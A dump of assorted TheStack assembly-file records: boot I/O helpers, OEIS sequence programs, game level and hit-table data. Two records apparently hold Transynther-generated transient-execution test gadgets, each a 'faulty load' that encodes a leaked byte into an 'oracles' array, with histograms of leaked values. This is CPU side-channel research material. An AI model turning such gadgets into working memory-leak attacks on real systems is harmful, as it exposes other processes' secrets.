52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52
*/
|
||||
TheStack | dc8435dabbbaf89a3cf3cfda0460677410e3beeb | Assemblycode:Assembly | {"size": 893, "ext": "asm", "max_stars_repo_path": "boot_old/x86.asm", "max_stars_repo_name": "YaoLiTao/XV6-LIKE", "max_stars_repo_stars_event_min_datetime": "2016-12-08T08:13:46.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-29T15:33:53.000Z", "max_issues_repo_path": "boot_old/x86.asm", "max_issues_repo_name": "YaoLiTao/YOS", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "boot_old/x86.asm", "max_forks_repo_name": "YaoLiTao/YOS", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 2, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 12.0675675676, "max_line_length": 45, "alphanum_fraction": 0.6382978723} | [SECTION .text]
GLOBAL in_byte
GLOBAL _insl
GLOBAL out_byte
GLOBAL _outsl
GLOBAL _stosb
;uchar in_byte(ushort port)
in_byte:
xor eax, eax
mov edx, [esp + 4] ; edx << ushort port
in al, dx ; 返回值由eax传递
nop
nop
ret
;void _insl(int port, void* addr, int count)
_insl:
push ebp
mov ebp, esp
pushfd
push edi
mov edx, [ebp + 8] ; edx << int port
mov eax, [ebp + 12] ; edi << void* addr
mov edi, eax
mov ecx, [ebp + 16] ; ecx << int count
cld
rep insd
pop edi
popfd
mov esp, ebp
pop ebp
ret
;void out_byte(ushort port, uchar data)
out_byte:
mov edx, [esp + 4]
mov al, [esp + 8]
out dx, al
nop
nop
ret
;void _stosb(void *addr, int data, int count)
_stosb:
push ebp
mov ebp, esp
pushfd
push edi
mov eax, [ebp + 8] ; edi << void *addr
mov edi, eax
mov eax, [ebp + 12]
mov ecx, [ebp + 16]
cld
rep stosb
pop edi
popfd
mov esp, ebp
pop ebp
ret |
||||
TheStack | 2e93d3d29e849d9dca99037c42228842c41b6fc2 | Assemblycode:Assembly | {"size": 4619, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0x48.log_21829_1544.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0x48.log_21829_1544.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0x48.log_21829_1544.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 48.6210526316, "max_line_length": 2999, "alphanum_fraction": 0.6546871617} | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r8
push %rax
push %rbx
push %rcx
lea addresses_WT_ht+0x1523c, %r8
nop
nop
nop
nop
dec %r13
mov (%r8), %eax
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x78bc, %r12
clflush (%r12)
nop
nop
nop
nop
nop
and $41751, %rbx
movb $0x61, (%r12)
and $13327, %r11
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rsi
// Store
lea addresses_D+0x75bc, %r8
nop
nop
nop
nop
nop
and %r14, %r14
movw $0x5152, (%r8)
nop
sub %rsi, %rsi
// Faulty Load
lea addresses_WT+0xa67c, %r14
nop
xor %rcx, %rcx
mov (%r14), %r12
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'53': 465, 'f0': 9731, '01': 79, '49': 1604, '3a': 1, '00': 39, '7c': 1, 'ff': 9909}
ff ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff 01 ff f0 49 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 53 ff f0 ff f0 ff f0 49 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff 49 ff f0 ff f0 ff f0 49 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 49 ff f0 49 ff 49 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 49 49 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 49 ff f0 49 ff f0 49 ff f0 00 ff f0 ff f0 ff f0 ff f0 49 f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 49 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 49 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff 01 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff 49 ff f0 ff f0 49 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 53 ff f0 ff f0 ff f0 ff f0 f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff 49 ff f0 49 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff 49 49 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 53 53 49 ff f0 f0 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 53 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 53 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 49 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 49 49 ff f0 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff 49 ff f0 ff f0
*/
|
||||
TheStack | 58e7c31dfec6d96519ce79c932323fa9d93b119f | Assemblycode:Assembly | {"size": 642, "ext": "asm", "max_stars_repo_path": "smsq/ioa/frmt.asm", "max_stars_repo_name": "olifink/smsqe", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "smsq/ioa/frmt.asm", "max_issues_repo_name": "olifink/smsqe", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "smsq/ioa/frmt.asm", "max_forks_repo_name": "olifink/smsqe", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 18.8823529412, "max_line_length": 56, "alphanum_fraction": 0.6884735202} | ; SMSQ Format device V2.00 1986 Tony Tebby QJUMP
section ioa
xdef ioa_frmt
xref ioa_ffsd ; find filing system device
xref sms_rte
include dev8_keys_iod
;+++
; d0 r error return 0, or not found
; a0 c s device_medium name
; a6 c p base of system variables
;
; all other registers preserved
;---
ioa_frmt
reglist reg d3-d6/a1-a4
movem.l reglist,-(sp)
move.l a0,a1 ; for ffsd
bsr.l ioa_ffsd ; find filing system device
bne.s ifm_exit
move.l a0,a1 ; for format
move.l a2,a4
move.l d5,d1 ; drive number
move.l iod_frmt(a3),a2
jsr (a2) ; and format it
ifm_exit
movem.l (sp)+,reglist
bra.l sms_rte
end
|
||||
TheStack | 6cd7724d17fa8d5cf99c5cc22cb17212f0952cb5 | Assemblycode:Assembly | {"size": 4668, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1726.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1726.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1726.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 48.625, "max_line_length": 2999, "alphanum_fraction": 0.6619537275} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x12829, %r12
nop
nop
nop
nop
nop
and %r14, %r14
vmovups (%r12), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %r9
nop
nop
nop
and $35710, %r12
lea addresses_normal_ht+0x15b49, %rsi
lea addresses_A_ht+0xe0c9, %rdi
nop
nop
xor %r10, %r10
mov $17, %rcx
rep movsb
nop
nop
nop
nop
inc %r14
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rax
push %rbx
push %rcx
// Store
lea addresses_PSE+0x1bce2, %rcx
nop
add $17606, %r13
movb $0x51, (%rcx)
nop
nop
nop
add $33940, %r13
// Faulty Load
lea addresses_UC+0x198c9, %r13
nop
and $65293, %rax
mov (%r13), %r12w
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | babcf65816344fe8aecc1f16a52ce7c119a37108 | Assemblycode:Assembly | {"size": 475, "ext": "asm", "max_stars_repo_path": "programs/oeis/255/A255070.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/255/A255070.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/255/A255070.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 39.5833333333, "max_line_length": 278, "alphanum_fraction": 0.6} | ; A255070: (1/2)*(n minus number of runs in the binary expansion of n): a(n) = (n - A005811(n)) / 2 = A236840(n)/2.
; 0,0,0,1,1,1,2,3,3,3,3,4,5,5,6,7,7,7,7,8,8,8,9,10,11,11,11,12,13,13,14,15,15,15,15,16,16,16,17,18,18,18,18,19,20,20,21,22,23,23,23,24,24,24,25,26,27,27,27,28,29,29,30,31,31,31,31,32,32,32,33,34,34,34,34,35,36,36,37,38,38,38,38,39,39,39,40,41,42,42,42,43,44,44,45,46,47,47,47,48
lpb $0
add $1,$2
mov $2,$0
div $0,2
sub $2,$0
div $2,2
lpe
mov $0,$1
|
||||
TheStack | 58a8afcc991dfcc4bde2feaf4515f86c6b57f93a | Assemblycode:Assembly | {"size": 605, "ext": "asm", "max_stars_repo_path": "PRG/levels/Fortress/6-F3A.asm", "max_stars_repo_name": "narfman0/smb3_pp1", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "PRG/levels/Fortress/6-F3A.asm", "max_issues_repo_name": "narfman0/smb3_pp1", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PRG/levels/Fortress/6-F3A.asm", "max_forks_repo_name": "narfman0/smb3_pp1", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 43.2142857143, "max_line_length": 85, "alphanum_fraction": 0.6909090909} | ; Original address was $B126
; World 6 third fortress "Boo room"
.word W6F3L ; Alternate level layout
.word W6F3O ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170
.byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_02 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(2) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_FORTRESS | LEVEL5_TIME_300
.byte $61, $00, $2F, $0F, $71, $00, $27, $0F, $01, $00, $5F, $00, $00, $E0, $0F, $07
.byte $01, $93, $0D, $06, $61, $11, $04, $62, $14, $02, $73, $09, $0E, $00, $E0, $68
.byte $99, $FF
|
||||
TheStack | 36f306e3c08c1aac28200bd73871c20d3872c7be | Assemblycode:Assembly | {"size": 1054, "ext": "asm", "max_stars_repo_path": "data/hits/seagull-serenade.asm", "max_stars_repo_name": "sinusoid-studios/rhythm-land", "max_stars_repo_stars_event_min_datetime": "2021-08-10T20:31:11.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-28T11:57:03.000Z", "max_issues_repo_path": "data/hits/seagull-serenade.asm", "max_issues_repo_name": "sinusoid-studios/rhythm-land", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "data/hits/seagull-serenade.asm", "max_forks_repo_name": "sinusoid-studios/rhythm-land", "max_forks_repo_forks_event_min_datetime": "2021-10-02T17:49:10.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-02T17:49:10.000Z"} | {"max_stars_count": 11, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 21.5102040816, "max_line_length": 67, "alphanum_fraction": 0.6593927894} | INCLUDE "constants/hardware.inc"
INCLUDE "constants/games/seagull-serenade.inc"
INCLUDE "constants/hits.inc"
INCLUDE "macros/hits.inc"
DEF MUSIC_SPEED EQU MUSIC_SEAGULL_SERENADE_SPEED
SECTION "Seagull Serenade Game Hit Table", ROMX
xHitTableSeagullSerenade::
; Game's hit keys
; Left and Right combined into Left since either is fine (don't
; require pressing both Left and Right at the same time)
DB PADF_UP | PADF_LEFT | PADF_DOWN
hit 64 + 12, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 10, PADF_UP
hit 8, PADF_LEFT
hit 14, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 10, PADF_UP
hit 8, PADF_LEFT
hit 8, PADF_DOWN
hit 8, PADF_DOWN
hit 14, PADF_UP
hit 10, PADF_DOWN
hit 8, PADF_DOWN
hit 14, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 16, PADF_UP
hit 10, PADF_UP
hit 8, PADF_LEFT
hit 14, PADF_UP
hit 16, PADF_DOWN
hit 12, PADF_UP
hit 8, PADF_DOWN
hit 6, PADF_UP
hit 8, PADF_LEFT
DB HITS_END
|
||||
TheStack | cb41453aba361537c315db9df4de798c6bc85faa | Assemblycode:Assembly | {"size": 302, "ext": "asm", "max_stars_repo_path": "programs/oeis/047/A047205.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/047/A047205.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/047/A047205.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 33.5555555556, "max_line_length": 195, "alphanum_fraction": 0.6390728477} | ; A047205: Numbers that are congruent to {0, 3, 4} mod 5.
; 0,3,4,5,8,9,10,13,14,15,18,19,20,23,24,25,28,29,30,33,34,35,38,39,40,43,44,45,48,49,50,53,54,55,58,59,60,63,64,65,68,69,70,73,74,75,78,79,80,83,84,85,88,89,90,93,94,95,98,99,100,103,104,105,108
mov $1,$0
add $0,2
div $0,3
mul $0,2
add $0,$1
|
||||
